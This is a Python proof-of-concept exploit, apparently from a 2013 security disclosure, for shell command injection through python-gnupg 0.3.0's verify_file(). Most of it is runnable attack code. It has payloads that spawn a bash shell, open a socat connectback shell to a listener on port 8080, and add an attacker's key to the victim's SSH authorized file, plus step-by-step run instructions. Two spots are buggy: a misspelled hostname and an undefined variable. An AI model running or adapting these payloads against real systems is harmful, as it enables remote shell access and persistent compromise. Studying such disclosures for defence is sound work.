#!/usr/bin/env python #-*- coding: utf-8 -*- ''' python-gnupg-exploit.py ----------------------- Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file() with a simple connectback call to a waiting server. Written on a train, homeless in europe. Eurotrash like hell. You *absolutely* should run this in a virtualenv, and since this POC only runs on localhost, you should probably bring down all other network interfaces while playing with it, since by default it forks a connectback shell for every TCP connection to localhost:8080. To run this POC, you should obtain the source for python-gnupg, copy this file into the python-gnupg source directory, and then navigate into it: $ sudo apt-get source python-gnupg $ cd python-gnupg-0.3.0/ $ mv ./ To run the server half, do: $ python ./python-gnupg-exploit.py mallory it just listens on 8080 on localhost and lets you type stuff or pipe whatever you want into the connection. After that, in another terminal, you can do: $ python ./python-gnupg-exploit.py alice to run the the exploit, which connects to your waiting mallory server and forks off a shell in a separate process. You can exploit gpg.GPG.verify_file() by calling it with data_filename="\"\"" and the inner set of escaped double quotes are important. You'll have to be tricky and find ways to not allow your code to contain spaces, but it's the default system shell running under the UID and GID of the parent caller for Python interpreter. It's even nicely in it's own threading.Thread(), provided by gnupg.GPG._collect_output(). @authors: Isis Agora Lovecruft, 0x2cdb8b35 All of the other Leap Encryption Access Project Python developers @date: 7 February 2013 @license: WTFPL, see [http://wtfpl.org/] @copyright: ? 2013 Isis Lovecruft ''' from os import getcwd, path import gnupg import sys def usage(): """Because dying should be about sending a message.""" msg = "You need to download the source for python-gnupg before using this! " msg += "Please try again after placing this file in the python-gnupg-0.3.0/" msg += " directory. See the docstring for this file if you need more help." msg += "\nExiting..." raise SystemExit(msg) class Alice(object): """Client code.""" def __init__(self, file=None): here = getcwd() self.gpg = gnupg.GPG(gnupghome=here) self.log = path.join(here, 'alice.log') if file is not None: self.file = file else: ## this is probably equivalent to saying "eat your heart out, ## gnupg"... self.file = path.join(getcwd(), 'LICENSE') def exploit(self, shellcode=None): """POC example.""" bad = None with open(self.file) as worse: bad = self.gpg.verify_file(worse, shellcode) return bad def code_exec(self): """This forks a local bash shell.""" self.exploit("\"&coproc /bin/bash\"") def remote_code_exec(self): """ You know that part in The Matrix where Neo is sleeping on his keyboard, and then Trinity types stuff on his terminal? This does that. """ client = ("\"&`socat -d -d -d -d -lf " + self.log + " - TCP-CONNECT:localost:8080,crnl`\"") self.exploit(client) def ssh_append(self): """ This appends mallory's id_rsa.pub to alice's authorized_hosts file. """ append = ("\"&`socat -d -d -d -d -lf " + alice_log + " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') + ",creat,append,end-close " + "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"") self.exploit(append) if __name__ == "__main__": ## don't run if they didn't follow the instructions: here = getcwd() if not here.endswith('python-gnupg-0.3.0'): usage() else: print "To run the corresponding listener, in another shell do:\n" print " $ socat -d -d -d -d -lf mallory.log - \ " print " TCP-LISTEN:8080,reuseaddr,fork" alice = Alice() alice.remote_code_exec()